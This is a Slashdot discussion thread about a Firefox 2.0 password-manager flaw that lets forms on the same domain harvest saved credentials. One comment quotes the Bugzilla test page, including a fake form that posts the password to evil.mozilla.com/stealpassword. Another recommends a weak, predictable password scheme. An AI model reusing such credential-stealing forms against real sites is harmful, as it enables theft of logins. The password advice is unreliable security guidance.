      There was never really as much risk in the past as there is now of your very important data being on the same domain that anyone could openly write code on. There was Geocities and its ilk, but at the worst they'd just be able to snag your password and hax0r your lame-ass homepage. There was also the risk that someone could hack a legitimate site and convert it to phishing, but that's an entirely different exploit. Other than that, it was just assumed that the webmasters of a domain would properly secure their site. Now, with MySpace, there's a wildly popular site that allows any idiot with half a pulse to serve up interactive elements, and this is all on the same "site", for all intents and purposes, as the place where people are also dialing in sensitive personal info. Although I agree that this is a legitimate bug, given the climate, I fear that the browser manufacturer's QC job will soon be more that of protecting idiots from themselves. There are already things like time-delayed buttons and phishing databases... more and more the "exploits" are trickery and social engineering, more than bug exploitation.

      --
      Information wants to be free.
      Entertainment wants to be paid.
      You just want to be cheap.
    15. Re:Is it used? by Jugalator · · Score: 1

      People actually let their browsers remember their passwords? I have never trusted my browser that much.

      If it's a browser feature, it's bound to be used. :-p

      --
      Beware: In C++, your friends can see your privates!
    16. Re:Is it used? by kjart · · Score: 1

      Firefox, for as long as I can remember, has allowed you to set a master password, without which the password manager will not populate any password feilds and will not allow the viewing of any stored passwords.

      This is true, though since it was his computer that someone else used, he probably had the master password.

    17. Re:Is it used? by Anonymous Coward · · Score: 0
      Use the following trick:

      (prefix) 2 digits + (body) 5 letter word or part of a word + (suffix) 2 digits.

      The prefix and suffix remain the same, the body is a descriptor of the site. This generates passwords that will be immune to guesswork or simple dictionary attacks (you're adding 16.7 million possible combinations of digits in addition to the 5 letter word), but is still easy to remember.


      If you encounter a site that won't let you use the 5 letter word that first comes to mind (as an example, ebay will not allow any password that contains the word 'ebay'), use 'passw' or 'defau' and just remember that is always your backup option.

      Some examples:

      gxslash43, gxaucti43, gxgoogl43, gxemail43, gxpassw43, gxdefau43

      Granted, nothing is 100%... and you're still vulnerable to trojans, keyloggers, or other more technical compromises.

      The prefix and suffix never change from site to site; use the same ones every time, and you'll always be able to remember your passwords. What pisses me off is sites that require you to change your password periodically, as it screws up my system. For them, just use an incrementing system (increment any digit or letter in the password, whatever you can remember).

    18. Re:Is it used? by P3NIS_CLEAVER · · Score: 1

      Your crazy. If somone breaks in your house and steals your computer, do you want them to be able to log into all your favorite sites?

      --
      Please sign petition to restore sanity to our banking system!!!

      http://financialpetition.org/
    19. Re:Is it used? by Phroggy · · Score: 1

      Your crazy. If somone breaks in your house and steals your computer, do you want them to be able to log into all your favorite sites?Of course not, which is why Firefox stores all my passwords in an encrypted database that can't be decrypted without my master password, which they wouldn't get if they stole my computer.

      --
      $x='S24;r)>63/* h@<5+oZ)32"5cz';$me='phroggy'x$];
      $x=~y+ -xz+\0-Tx+;print$_^chop$me for split'',$x;
  6. just update it? by diegocgteleline.es · · Score: 1

    Stopgaps solutions are not a solution, I guess they're planning a 2.0.1 soon? The bug has been reported 10 days ago...

    1. Re:just update it? by gad_zuki! · · Score: 2, Insightful

      Its so calm in here. If this was IE most of the posts would be "WTF M$, 10 DAYZ!!!!!!!! Switch to firefox now!!!!!" Go figure.

  7. This just in... by Anonymous Coward · · Score: 0

    Firefox 2.1 released, with new and improved stability, affordability, portability, extendability, pluginability, and securability.

  8. Arrrrr by Peyna · · Score: 3, Insightful

    The flaw derives from Firefox's willingness to supply the username and password stored on one page on a domain to another page on a domain.

    Worst idea ever. The question isn't why wasn't this discovered earlier, but who decided this was a good idea in the first place?

    --
    What?
    1. Re:Arrrrr by LunaticTippy · · Score: 1

      Agreed. I've had to help too many people who use autofill passwords and don't know the passwords when they change machines or use another pc. I avoided the whole thing because it seemed likely to allow me to forget passwords, and didn't seem totally secure.

      --
      Man, you really need that seminar!
    2. Re:Arrrrr by sweatyboatman · · Score: 1

      actually this is a great idea for all those stupid sites that require you to have a user-name and password for no particular reason. With FF I can put in whatever garbage info I want for the registration and it will remember the login for me next time I load the page. Obviously, for important sites (e.g. not a myspace account) I tell FF to not remember the password.

      Yes, this vulnerability is a problem and needs to be fixed, but let's not throw the baby out with the bathwater.

      And for you, Mr-I-Dont-Like-It, you can just turn the feature off.

      --
      It breaks my pluginses, my precious!
    3. Re:Arrrrr by jesser · · Score: 4, Insightful

      When browsers added password management features 5 (?) years ago, there weren't a lot of sites that required passwords, included user-generated content, and allowed that user-generated content to include password fields. But there were (and still are) many sites where loading just about any URL on the site could give you a "you need to log in" page.

      I'd be perfectly happy with this becoming part of the accepted security model for web applications, just like "don't let user-generated content include SCRIPT tags with arbitrary content".

      --
      The shareholder is always right.
    4. Re:Arrrrr by Peyna · · Score: 1

      It's a good feature when it works only for each site. But why should it be taking what I put in at gmail to log in and sticking that login/password into some other site? That's the problem.

      --
      What?
    5. Re:Arrrrr by (H)elix1 · · Score: 1


      >>The flaw derives from Firefox's willingness to supply the username and password stored on one page on a domain to another page on a domain.

      >Worst idea ever. The question isn't why wasn't this discovered earlier, but who decided this was a good idea in the first place?


      Well, if they read /., it would seem the site is it.slashdot.org, games.slashdot.org, and a mess of other sub-domains. I can see why they might think subdomain 'sharing' was a good idea. Logging in on my blackberry is a real treat if I flush the passwords.

    6. Re:Arrrrr by LunaticTippy · · Score: 1

      I end up using different computers enough that this would be an inconvenience. I'd be ok until I was somewhere that didn't know my passwords, then I'd have to go through the unpleasant retrieval process just to post to slashdot.

      I also don't want to cultivate habits that'd give out my password to firefox on whoever's machine I'm on.

      --
      Man, you really need that seminar!
    7. Re:Arrrrr by John+Hasler · · Score: 1

      > When browsers added password management features 5 (?) years ago, there weren't a lot of sites
      > that required passwords, included user-generated content, and allowed that user-generated content
      > to include password fields.

      So the bug isn't really in Firefox at all. It's in the Web sites.

      --
      Warning: this article may contain humor, sarcasm, parody, and perhaps even irony. Read at your own risk.
    8. Re:Arrrrr by shaka · · Score: 1

      When browsers added password management features 5 (?) years ago, there weren't a lot of sites that required passwords, included user-generated content, and allowed that user-generated content to include password fields. But there were (and still are) many sites where loading just about any URL on the site could give you a "you need to log in" page.

      Horse shit. I would even say it was more common 6-7+ years ago, a lot of discussion forums allowed HTML in the posts back then. Of course, more people are using it now since the web is more widespread, but this feature is not a feature, it's a bug, and I've always thought it was strange that the browser would fill out any form with my credentials.

      --
      :wq!
  9. Not just Firefox 2.0, also IE6/7 and earlier F'fox by Andy_R · · Score: 4, Informative

    According to the Bugzilla link, this bug is also present in pre 2.0 releases of Firefox, and IE 6/7.

    So much for me being smug about going back to Firefox 1.5!

    --
    A pizza of radius z and thickness a has a volume of pi z z a
  10. stopgap measures include... by Gary+W.+Longsine · · Score: 3, Funny

    ...using Microsoft Internet Explorer. AAaaaaaaaaaaaargh!

    --
    If you mod me down, I shall become more powerful than you could possibly imagine.
    1. Re:stopgap measures include... by Constantine+Evans · · Score: 1

      According to the bugzilla link, IE 6 and 7 are also affected.

    2. Re:stopgap measures include... by fireman+sam · · Score: 1

      Stop the gap, by knocking down the building

      --
      it is only after a long journey that you know the strength of the horse.
    3. Re:stopgap measures include... by Anonymous Coward · · Score: 0

      ... using another browser. Doesn't have to be IE. Netscape (8.1.2) and Opera (9.0.1) both survived the proof-of-concept. Not sure about Konqueror or Safari, since I'm at work.

    4. Re:stopgap measures include... by Zonnald · · Score: 1

      IE6 didn't even ask to save password - no problems here - walks away.

    5. Re:stopgap measures include... by tezbobobo · · Score: 1

      SAFARI IS SAFE! WOT! - This is probably informative, but a but juvinille.

    6. Re:stopgap measures include... by Anonymous Coward · · Score: 0
      SAFARI IS SAFE! WOT! - This is probably informative, but a but juvinille.
      Yet we can only mod you for the former, you cunning devil!
  11. What an incredible gaffe by Digitalia · · Score: 0

    It is absolutely shocking that such a serious bug would be discovered in Firefox. This is why I was reluctant to upgrade to 2.0 when it first came out. Sadly, I bit the bullet and upgraded anyways.

    Unfortunately, the dev team has shown its fallibility in one of the most idiotic ways possible. If they resolve the problem quickly, they may be absolved of their negligence. Otherwise, it will be difficult to continue advocating for Firefox as vocally as I have in the past.

    --
    Pax Digitalia
    1. Re:What an incredible gaffe by Andy_R · · Score: 2, Informative

      Of course it's far less shocking that the same bug is present in IE6 and IE7! I wonder which browser you will be recommending... do you know of one that passes the test-case linked to from the bugzilla page?

      --
      A pizza of radius z and thickness a has a volume of pi z z a
    2. Re:What an incredible gaffe by Digitalia · · Score: 2, Interesting

      I tested IE6 and IE7 and the proof of concept page failed to work in both browsers. Neither browser passes the stored browser on to Google.

      Have you personally tested this and found either browser to be vulnerable?

      --
      Pax Digitalia
    3. Re:What an incredible gaffe by ResidntGeek · · Score: 2, Insightful

      Right, because you contribute to Firefox, right? If you did, you'd of course have been able to spot this bug with your razor-sharp eyes, right? Oh wait... no, I just remembered you're fallible too, and quite possibly an idiot. Firefox is free. The dev team doesn't have to do shit, they choose to. Stop acting like an entitled 8-year-old at Christmas, and do something useful with your time.

      --
      ResidntGeek
    4. Re:What an incredible gaffe by vertinox · · Score: 1

      Perhaps there is code to not work if it detects the User Agent for anything other than FF2.0?

      --
      "I am the king of the Romans, and am superior to rules of grammar!"
      -Sigismund, Holy Roman Emperor (1368-1437)
    5. Re:What an incredible gaffe by PastAustin · · Score: 1

      It would seem sort of silly to me to stop advocating Firefox because it has one BIG bug. Most browsers have 100 HUGE bugs. It is still better than any other browser.

      I wouldn't think this would be a hard fix. Silly Firefox development team. =)

      --
      Firefox 2.0 - Spell Rightly.
    6. Re:What an incredible gaffe by Zonnald · · Score: 1
      Absolutely, because the folks at bugzilla so want to show that IE6/7 are better browsers then MSIE.

      Did you even look at the source?

      bug 360493
      1. Enter real name and real password and submit real form.
      2. Choose Remember this password.
      3. Submit fake form
      4. Test fails if evil.mozilla.com gets real password
      real name real password fake name fake password
    7. Re:What an incredible gaffe by Zonnald · · Score: 1

      Damn. I didn't expect that used a blockquote didn't leave HTML intact ...
      <html xmlns="http://www.w3.org/1999/xhtml">
      <head>
      <title>bug 360493</title>
      </head>
      <body>
      <ol>
      <li>Enter real name and real password and submit real form.</li>
      <li>Choose Remember this password.</li>
      <li>Submit fake form</li>
      <li>Test fails if evil.mozilla.com gets real password</li>
      </ol>
      <div>
      <form name="real" action="#" method="get">
      <div>
      real name <input name="name" type="text" />
      real password <input name="password" type="password" />
      <input type="submit" value="real form"/>
      </div>
      </form>
      </div>
      <div>
      <form name="fake" action="http://evil.mozilla.com/stealpassword" method="get">
      <div>
      fake name <input name="name" type="text" />
      fake password <input name="password" type="password" />
      <input type="submit" value="fake form" />
      </div>
      </form>
      </div>
      </body>
      </html>

    8. Re:What an incredible gaffe by Digitalia · · Score: 1

      If we follow your flawed logic to its conclusion, you're arguing that an open source project should be immune from criticism because it's charity. Do you think that open source contributors should not be accountable for major security screw ups?

      Firefox may be free. However, its developers are just as accountable for their mistakes as Microsoft should be for its own. Firefox gained the market share that it has because of a reputation for security. When the dev staff screw up so badly, it does a lot to erode their reputation. Though I may not contribute to the project, I have a right as an end user to expect a relatively secure product. The occasional, obscure buffer overflow exploit is excusable. A massive flaw in conception, design, and execution is certainly not.

      I think that you've misunderstood not only my initial post but also the fundamental philosophy behind the open source movement. If every developer thought as you did, no end users would bother to use your goods. Judging from your haughty demeanor, I suspect you consider this a good thing.

      --
      Pax Digitalia
    9. Re:What an incredible gaffe by Anonymous Coward · · Score: 0

      Konqueror seems to be immune.

      Or perhaps that's because my flash is broken so I can't click on the video on the exploit site. :(

    10. Re:What an incredible gaffe by Carewolf · · Score: 1

      Konqueror _is_ immune, our password storing system was written by a paranoid security expert.

    11. Re:What an incredible gaffe by AaronLawrence · · Score: 1

      Although it's not a very comfortable conclusion, I have to agree. People promoting OSS are quick to say in response to a suggestion/complaint they don't like "get the source and fix it". I wrote an open source, free program that some people used, and this temptation was strong for me too.

      But after thinking about it, I realized that this attitude is *totally useless*. Most of your users are not going to be programmers and if you want to provide something useful, you have to also provide useful support. There are plenty of casual/vanity OSS projects that are just programmers thinking "maybe someone else will like my quick hack", but they don't go anywhere usually.

      --
      For every expert, there is an equal and opposite expert. - Arthur C. Clarke
    12. Re:What an incredible gaffe by WiFiBro · · Score: 1

      Firefox is far from paranoid, if you as a simple enduser do not know where to set a master password for the password manager, any person able to use your firefox can see all passwords you gave to it, simply by clicking Tools - Options - 'security' - Show Passwords.

    13. Re:What an incredible gaffe by obdulio · · Score: 1

      Just switch to Opera. www.opera.com

      --
      PENAROL: Seras eterno como el tiempo y floreceras en cada primavera.
  12. i used that one by User+956 · · Score: 0, Troll

    A description of this new type of attack, dubbed the Reverse Cross-Site Request (RCSR) vulnerability

    I used that one on my girlfriend. I believe it's also called the "Dirty Sanchez".

    --
    The theory of relativity doesn't work right in Arkansas.
    1. Re:i used that one by Zonnald · · Score: 1

      Actually the word is "Filthy".

  13. the bug's original author by Anonymous Coward · · Score: 0

    Why didn't he just code it right to start with

    >:(

  14. Meh ... by Purity+Of+Essence · · Score: 1

    My feeling is, people who rely on "password managers" get what they deserve when their passwords end up in the wrong hands. It's generally just a bad idea to store passwords anywhere but your head.

    --
    +0 Meh
    1. Re:Meh ... by Jamu · · Score: 1

      If I used my head to store passwords, I doubt anyone would get them. Including me.

      --
      Who ordered that?
    2. Re:Meh ... by Propaganda13 · · Score: 1

      I don't know about the deserve part, but this is one of the reason I don't use password managers. Another one is that when you don't type in passwords, you're more likely to forget them so if the password manager gets corrupted, deleted, infected, etc. then you're SOL.

      For most home users, a paper with passwords written on it is safer in the long run. Preferably the paper is not in plain sight or stuck to the monitor.

    3. Re:Meh ... by Anonymous Coward · · Score: 0

      Sorry but just not logical

      With the number of password required these days its almost impossible to memorize all of them.

      I work at a corp help desk supporting over 40 retail chains and thousands of stores. Imagine what that would be like trying to remember all of those stores and all of those logins. The better solution is better password managment.

      I have a generic password I use for personal stuff and general browsing thing.

      Then I have a mid level password I use for stuff I dont want people to look at but then again dont care too much if they do.

      These two passwords I save in my browser.

      Then I have my secure passwords. *NIX grade passwords that ONLY gets used from memory is changed every 30-35 days, And gets tested for strength against a number of tools. I'm not a Psycho security person but I'm no fool either. I even went to the point of designing a virtual machine used only for logging into secure systems. The Virtual is persistent so when I restart it I'm certain nothing is running on it (I.E. Spy ware or loggers).

      This is a good guideline and Ive designed tools to sync all of my secure passwords when I go to update them.

      Password management is important and something that needs to be addressed. the big problem is it takes time and people in general are too lazy to take it.

  15. RTFA? by smittyoneeach · · Score: 2, Funny

    RTFA?
    The hell, you say.
    'Tis slashdot, bucko:
    No read-read today.
    Always for good suds we pray.
    Burma Shave

    --
    Get thee glass eyes, and, like a scurvy politician, seem to see things thou dost not.--King Lear
    1. Re:RTFA? by cortana · · Score: 1

      Encore!

    2. Re:RTFA? by smittyoneeach · · Score: 0, Redundant

      Encore? OK.
      Wrote this today: http://slashdot.org/comments.pl?sid=207698&cid=169 31006
      Goofball moderators
      Sheared me, sine
      Burma Shave

      --
      Get thee glass eyes, and, like a scurvy politician, seem to see things thou dost not.--King Lear
  16. Dis-satisfied with v2.0 by macdaddy · · Score: 3, Informative
    I don't know about everyone else but I am generally dis-satisfied with v2.0. Frankly I felt that the memory leak in FF was significantly amplified in 2.0. I noticed back on 1.5 that every time I put my laptop into standby with FF running and then woke it up that FF would slowly increase it's memory consumption to about 30% more than what it was before being put into standby. Ie, if it was 100MB when it went to standby it would be around 130MB after waking the laptop, switching focus to FF, and clicking through my opened tabs. In FF 2.0 I have to literally shutdown FF every day or two or FF will easily consume upwards of 500MB of my RAM. I usually have about a dozen windows open and in each window I have 5-15 tabs. That's a fair bit but it didn't cause me much grief in v1.5.

    It also took me a while to figure out how to remove the close button from each tab. The tab scrolling "feature" was also a point of great annoyance that took up more of my time to find a fix.

    In short I'm just not jumping for joy over FF. This new flaw happens to come to light the day after I search Google for a way to manually add userids and passwords to the FF DB (any ideas?). This was to address the problem of FF not picking up some text fields as userid and password fields. One solution I found was RoboForm, though I'm not sure I want to pay for what I think should be a fairly easy thing to do inside FF. FF is getting better but personally I'd rather be using Mozilla 1.7.x.

    1. Re:Dis-satisfied with v2.0 by Anonymous Coward · · Score: 0

      Mozilla has no further planned releases. Seamonkey is the way to go now.

    2. Re:Dis-satisfied with v2.0 by cerberusss · · Score: 1
      In short I'm just not jumping for joy over FF.
      So, do you use 1.5 again? Why (not)?
      --
      8 of 13 people found this answer helpful. Did you?
    3. Re:Dis-satisfied with v2.0 by caluml · · Score: 1

      slowly increase it's memory consumption to about 30% more than what it was before being put into standby. Ie, if it was 100MB when it went to standby it would be around 130MB after waking the laptop

      Oh! Is that how percentages work? Thanks for explaining that to me :)

    4. Re:Dis-satisfied with v2.0 by macdaddy · · Score: 1

      De nada. Glad I could help. :-)

    5. Re:Dis-satisfied with v2.0 by macdaddy · · Score: 1

      I've been too busy to tackle the hassle of downgrading and I'm still holding out hope that I'll discover a good reason why I should be using it v2.0. FF is using 141MB of RAM right now, and I rebooted last night. All I keep finding are reasons not to use it. :-(

    6. Re:Dis-satisfied with v2.0 by P3NIS_CLEAVER · · Score: 1

      There are always /. quick to defend firefox because 'caching improves performance', but if like everyone else you switch back and forth from your browser to other apps it is a nightmare. With broadband I really don't even want caching anymore.

      --
      Please sign petition to restore sanity to our banking system!!!

      http://financialpetition.org/
    7. Re:Dis-satisfied with v2.0 by BenoitRen · · Score: 1
      but personally I'd rather be using Mozilla 1.7.x

      Try SeaMonkey. It's essentially Mozilla 1.8. Soon there'll be SeaMonkey 1.1, which is based on the same code base as Firefox 2.0, without the memory leaks.

    8. Re:Dis-satisfied with v2.0 by macdaddy · · Score: 1
      Really. I didn't know that. I've been looking for the Mozilla browser. I haven't actually been able to find the link to it (their site sucks IMHO). I'll look it up. The memory leaks are really quite painful. FF is literally consuming 248MB right now. I rebooted my laptop last night.

      I will say one positive thing about FF v2.0. It hasn't crashed on me once. FF v1.5x would crash at least once a week. Mozilla would do the same thing to me as well. I overuse my browser. I always have a couple dozen windows open and at least a dozen tabs in each. Ever since I started using Virtual Dimension I have even more open. Anyhow, thanks for the info about Seamonkey.

  17. I Love FF BUT its not in the spirit of OS by GenKreton · · Score: 1

    I love firefox and am very thankful for it being opensource but I loathe how Mozilla chooses to track and report bugs. I have been going around for days and could've been exploited - possibly but not probably - instead of being able to take appropriate measures to protect myself. It's not like this was some little secret the code was already out in the wild to do it. I find this security through obscurity in opensource projects absolutely disgusting. While we are possibly getting compromised they are sitting on their hands. We, the community, are here to quickly fix problems like these too. Thousands of developers could've and would work on this who the bug was hidden from. This makes the development process absolutely useless...

    1. Re:I Love FF BUT its not in the spirit of OS by Anonymous Coward · · Score: 0

      So it's open now, why don't you fix it Mr. Community?

  18. Sounds more like a bug in myspace by SlightlyMadman · · Score: 2, Insightful

    I thought the rule of thumb for any user-created content was to never allow freeform html? You either let them control their formatting with a separate markup (like BBCode), or you limit them to specific tags (like they do here). In neither of these situations is this exploit possible.

    Allowing full html coding, including embedding java or javascript, is an invitation for the unscrupulous. That's one of the 500 reasons I can think of to never visit a website like myspace.

    That said, much like language, the web is defined by its users. While I don't feel like it's Firefox's responsibility to fix issues like this, they'd do best to be aware of it. It wouldn't be a bad idea at all to tie password remembering to the exact url (at least everything up to the "?") by default.

    --

    Money I owe, money-iy-ay
    1. Re:Sounds more like a bug in myspace by bwy · · Score: 1

      Allowing full html coding, including embedding java or javascript, is an invitation for the unscrupulous. That's one of the 500 reasons I can think of to never visit a website like myspace.

      I don't think your logic makes sense. Any scammer out there can get a nearly free hosting plan and upload whatever content they want. Using your logic, you'd never visit any web site created by anyone. You'd certainly never click a link on Google because you have no way of knowing what is on the other end (and you'd only feel "safe" when you could be sure the content on the other end was created with some locked down UI?)

    2. Re:Sounds more like a bug in myspace by Bogtha · · Score: 2, Informative

      Any scammer out there can get a nearly free hosting plan and upload whatever content they want.

      Yes, but that's not a problem because they aren't on a domain where you have a saved password. The problem here is that random people can upload content to, say, myspace.com, and if you have a password for myspace.com, your browser will automatically fill their form in. When an attacker uploads something to attacker.example.com, you aren't going to care because you don't have a saved password for attacker.example.com.

      --
      Bogtha Bogtha Bogtha
    3. Re:Sounds more like a bug in myspace by Anonymous Coward · · Score: 0

      FYI, Myspace don't allow javascript anymore. Posting anonymous for obvious reasons...

    4. Re:Sounds more like a bug in myspace by spellraiser · · Score: 1

      I agree that the bug is first and foremost due to myspace, but the Firefox Password Manager certainly doesn't help. It should be clever enough to not fill out that particular form, as it does not direct to the myspace domain. Hopefully this will be fixed as soon as possible; seems to me that it shouldn't be such a huge fix.

      But back to myspace. This fake form is extremely insidious, and looks exactly like the real thing. Only a viewing of the source HTML will reveal that there's something fishy. Allowing users to create arbitrary forms that direct to some external site is ridiculously vulnerable. If you're going to let users insert custom HTML, which is, IMHO always A Bad Idea, at least filter it VERY carefully. Again, let's hope that the myspace admins are doing whatever they can to alleviate problems like these.

      --
      I hear there's rumors on the Slashdots
    5. Re:Sounds more like a bug in myspace by Anonymous Coward · · Score: 0

      I don't think the solution is to tie the password to the full path. At least, it's not the only solution. That would mean that people wanting to use a pwd manager would have to enter credentials on each part of a site that uses them (such as the auto-timeout-login-again page). Minor inconvenience, I know, but it would seem like the easier path is to just not fill the password without user intervention. That is, the browser can indicate that it has a password saved, but not put it in until the user says it's okay to. Opera's wand is a pretty good implementation of this concept; Netscape's Passcard Manager is better. I like both of them better for usability than Firefox's Password Manager, and this article shows that they're more secure besides.

  19. Not a lot of better options by Kadin2048 · · Score: 4, Insightful

    If you have 50-100 passwords at various sites, established over years, there's really a shortage of other good options. You can go the old-school route and just write them all down on a pad of paper, or the slightly more sophisticated route and put them in a text file or encrypted database on your local machine, but that doesn't help you when you want to log into a site from another machine.

    I was disappointed to hear of this vulnerability, because I use Google Browser Sync pretty heavily for keeping track of cookies and trivial passwords, and to be honest I'm not really sure what I'd do without it. More important passwords I keep in an old Palm Pilot using a GPLed password-management and generation program on it, but recalling passwords from it is a pain (takes several minutes to get Palm out, type in master password, etc.).

    --
    "Ladies and gentlemen, my killbot features Lotus Notes and a machine gun. It is the finest available."
    1. Re:Not a lot of better options by Bogtha · · Score: 1

      I was disappointed to hear of this vulnerability

      I was puzzled to hear of this vulnerability. I am certain this exact topic has come up before in relation to saving passwords, over a year ago. I thought it was going to be addressed by making the forms non-submittable by JavaScript, and giving the input fields fake blank values when JavaScript read them - of course, only when the form information was automatically entered by the browser.

      Did I just imagine all that, or can somebody else confirm this is a long-established problem?

      --
      Bogtha Bogtha Bogtha
    2. Re:Not a lot of better options by Anonymous Coward · · Score: 0

      I generate a new password for most services I use based on a simple algorithm involving letters from the name of the service. (It's potentially guessable but it beats reusing the same password every time.) And I have password tiers: I have two password algorithms that I use for unimportant services like slashdot, whereas high-risk services like Paypal and my ssh accounts each get a unique, unshared random-noise password. I think it's probably the most sensible way to do things.

      Posted anonymously to avoid giving any hints to anyone...

    3. Re:Not a lot of better options by Paradise+Pete · · Score: 1
      I thought it was going to be addressed by making the forms non-submittable by JavaScript

      It could still be done with a plain old form. I don't think it would be hard to convince plenty of myspace people to fill out a form asking if, say, Teen Heartthrob Abe Vigoda was sexy or not. Just toss some hidden fields in there. And if you make it not autofill hidden fields, then just move them offscreen, or some place not very obvious.

    4. Re:Not a lot of better options by zm · · Score: 1

      > I'm not really sure what I'd do without it

      keepass

      zm

      --
      Sig ?
    5. Re:Not a lot of better options by springbox · · Score: 1

      I use a randomly generated 32 character password for most sites and store all of them in text files inside an encrypted volume on my thumb drive. (Accessible from Windows immediately.) Of course, I also do backups regularly.

    6. Re:Not a lot of better options by 5ynic · · Score: 1

      Yeah, I use an encrypted textfile on my thumbdrive too. Seems a great compromise between security and convenience to me. :)

      --
      ceci n'est pas un sig
    7. Re:Not a lot of better options by Kadin2048 · · Score: 1

      Keepass, unless I'm missing something big about it, just seems like a fairly nice, open source version of the "encrypted text file" solution. Unfortunately, it doesn't sync across multiple computers, which was the thing I really liked about Google Browser Sync and Firefox. I suppose I could create a database, and then mail it back and forth to myself at work, but that just seems like it's asking for version management issues.

      Actually, it looks like there's a converter between Keypass and the program that I use on my aging Palm m100 -- GNU Keyring. The Palm-based solution is the best thing I've found, before I started using GBS, but it's still a pain: in order to keep all those stored passwords safe, you have to use a good master password, and that's obnoxious to type in to the Palm every time you want to recall a password.

      I wonder if you could set up something like Keepass, but point it to a file on a remote server, via something like WebDAV so it could have read/write access.

      --
      "Ladies and gentlemen, my killbot features Lotus Notes and a machine gun. It is the finest available."
    8. Re:Not a lot of better options by jibjibjib · · Score: 1

      Why not just have an alert box pop up saying "This page is asking for the password for at . Allow? Yes/No"

    9. Re:Not a lot of better options by l0b0 · · Score: 1

      Four words: Encrypted storage / version control. Secure access everywhere (providing you have Internet access or checked out a copy before leaving it).

    10. Re:Not a lot of better options by Kopretinka · · Score: 1

      Would you care to post a link to the pwd management program for Palm? I'd be very interested... Thanks.

      --
      Yesterday was the time to do it right. Are we having a REVOLUTION yet?
    11. Re:Not a lot of better options by Kopretinka · · Score: 1

      no worries, found it in a later post of yours, my bad

      --
      Yesterday was the time to do it right. Are we having a REVOLUTION yet?
    12. Re:Not a lot of better options by Anonymous Coward · · Score: 0

      Wise up people! Has it never occured to you to simply use the same password for everything? That's what I do, and in fact I make it even easier for myself by making the password 'password' - that way, I will never forget it!

      How I laugh at all you stupid people with your password managers and 'access denied' messages!

      By the way, could someone lend me a bit of cash; my bank account always seems to be empty these days, and my credit cards are all maxed out, too..

    13. Re:Not a lot of better options by Paradise+Pete · · Score: 1

      Besides being annoying and inconvenient, it wouldn't work. By getting that alert all the time you'd simply become conditioned to click it without reading it.

    14. Re:Not a lot of better options by n4t3 · · Score: 1

      Funny - I used GNU Keyring too for years, until my Palm m500 died. I was able to resurrect from a timely backup, but what a pain, and I couldn't every trust it again. I've been putting passwords into an encrypted email (Thunderbird + enigmail) which I update regularly and send to the email I use at home, the one I use at work and to my wife. I have to have enigmail + TB set up at work too, but I do so it's OK ;)

  20. That is Scary by EricJ2190 · · Score: 2, Informative

    That is disturbing to me since I use FF2 to store many of my passwords. However, I don't store passwords for more critical sites, like my bank's website. I recommend others do the same.

    1. Re:That is Scary by Anonymous Coward · · Score: 0

      That is because the bank's site doesn't allow you to do so... unless bank in shitty bank.

  21. Waiting for FF 3.0 by tcolberg · · Score: 1

    I am still using FF1.5 because of all the problems with 2.0. Not just bugs like these, although they are disappointing, but reports of the ever present memory leak and the annoying revamps to the tabs bar. Then again, I am eagerly looking forward to upgrade to a better version so I can get some of the improvements, like crash restoration.

    1. Re:Waiting for FF 3.0 by Mattwolf7 · · Score: 1

      Firefox 2 can have Firefox 1.5 tabs - Browser.tabs.closeButtons: 3
      Memory seems better in FF2 to me

      And this bug is present in all versions of FF and IE...

    2. Re:Waiting for FF 3.0 by Anonymous Coward · · Score: 0
      I am still using FF1.5 because of all the problems with 2.0. Not just bugs like these, although they are disappointing, but reports of the ever present memory leak and the annoying revamps to the tabs bar. Then again, I am eagerly looking forward to upgrade to a better version so I can get some of the improvements, like crash restoration.


      And I suppose you'll insist on using your old profile, themes and all your old extensions and will find that FF 3 has more bugs than 2.

      Do a clean install of 2, and you'll find all those "bugs" mysteriously disappear.

      And for the love of God do not use themes. If you do not like how a browser looks, then use another one, or use Lynx for a while in order to drive home that graphic frills are not what is important about a browser but rather functionality.

      Once javascript finally dies, then we'll find that all browsers instantly become more secure and stable. Javascript must die, it is the Achilles Heel of all modern browsers.
    3. Re:Waiting for FF 3.0 by TrancePhreak · · Score: 1

      The bug is not present in IE, get over it.

      --

      -]Phreak Out[-
  22. Re:Not just Firefox 2.0, also IE6/7 and earlier F' by quantaman · · Score: 1

    I'm running 1.5 and the exploit worked for me.

    --
    I stole this Sig
  23. No, No, No, This is impossible... by Anonymous Coward · · Score: 0

    FireFox is OpenSource so it is impossible for it to have bugs let alone secuirty problems. Only Windows has security problems. Buy a Mac - it has no problems and is perfect.

  24. Opera Vulnerable? by JordanL · · Score: 1

    Does anyone know if this attack is possible on Opera? Opera's wand has been around longer than FireFox has, so I'm kinda curious. It seems like something people could exploit in more than just FireFox.

    1. Re:Opera Vulnerable? by Anonymous Coward · · Score: 0

      Operas wand design is exactly what makes it immune to this attack. You have to use the wand (click a button) to have the fields filled in, so they cant be auto-harvested.

    2. Re:Opera Vulnerable? by Anonymous Coward · · Score: 0

      Yeah, when reading this I was astounded that firefox's password feature is so stupid.

    3. Re:Opera Vulnerable? by NexusTw1n · · Score: 2, Informative

      Opera has indeed been around longer, and most of the ideas in FF such as tabs and mouse gestures, and wand, were done first in Opera.

      It's why this vulnerability is so stupid, all the FF team had to do was copy the way Opera does it.

      In order to use the password manager, you need to click on the wand, or hit ctrl & enter together.

      The ctrl enter shortcut is a beautiful idea, because after recalling the password, it "clicks" the button that currently has focus, which is usually the "login" button, so most of the time it fetches the password and logs you in automatically after you hit that key combo.

      Nice and simple, but nice and secure because there is no way to trick the user into doing it.

      --
      It has become appallingly obvious that our technology has exceeded our humanity. --Albert Einstein
    4. Re:Opera Vulnerable? by Anonymous Coward · · Score: 0

      >In order to use the password manager, you need to click on the wand, or hit ctrl & enter together.

      Or you can use the Forward feature. Either 'shift-x', mouse gesture left (right click-move mouse right) or hold down the left button + push the right button. Could it be easier?

      Give Opera a try for a few weeks and you will never look back. Especially if you like to discover new features and shortcuts on a weekly basis for years!

  25. The patch... by alyawn · · Score: 1

    An where's the patch for this? If the bug was hidden from all, then why would they go public with it without a patch? And why would they hide it in the first place? Open source developers could have submitted patches already!

    1. Re:The patch... by eclectro · · Score: 1

      It wasn't hidden from all. The exp;oit is officially in the wild already, the word needs to get out on this. It's bad.

      --
      Take the cheese to sickbay, the doctor should see it as soon as possible - B'Elanna Torres, "Learning Curve"
  26. no need to save passwords --generate em on the fly by caseih · · Score: 4, Interesting

